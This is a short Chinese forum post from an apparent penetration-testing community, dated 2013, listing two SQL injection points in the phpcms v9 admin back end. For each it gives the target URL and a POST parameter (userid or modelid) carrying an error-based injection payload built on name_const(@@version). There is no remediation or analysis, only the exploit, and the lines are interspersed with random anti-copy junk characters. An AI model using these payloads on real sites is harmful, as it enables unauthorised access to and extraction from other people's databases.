中国网络渗透测试联盟

标题: phpcms两处后台的SQL注入 [打印本页]
作者: admin    时间: 2013-7-27 18:33
标题: phpcms两处后台的SQL注入
(一)：
8 y8 }/ }( I  w2 [& M" D

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

! o2 `! {8 o' Y2 {7 Q" g: L0 i& {% Z

& K- v+ f' f3 @2 g8 h* C  y) e$ @2 A

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2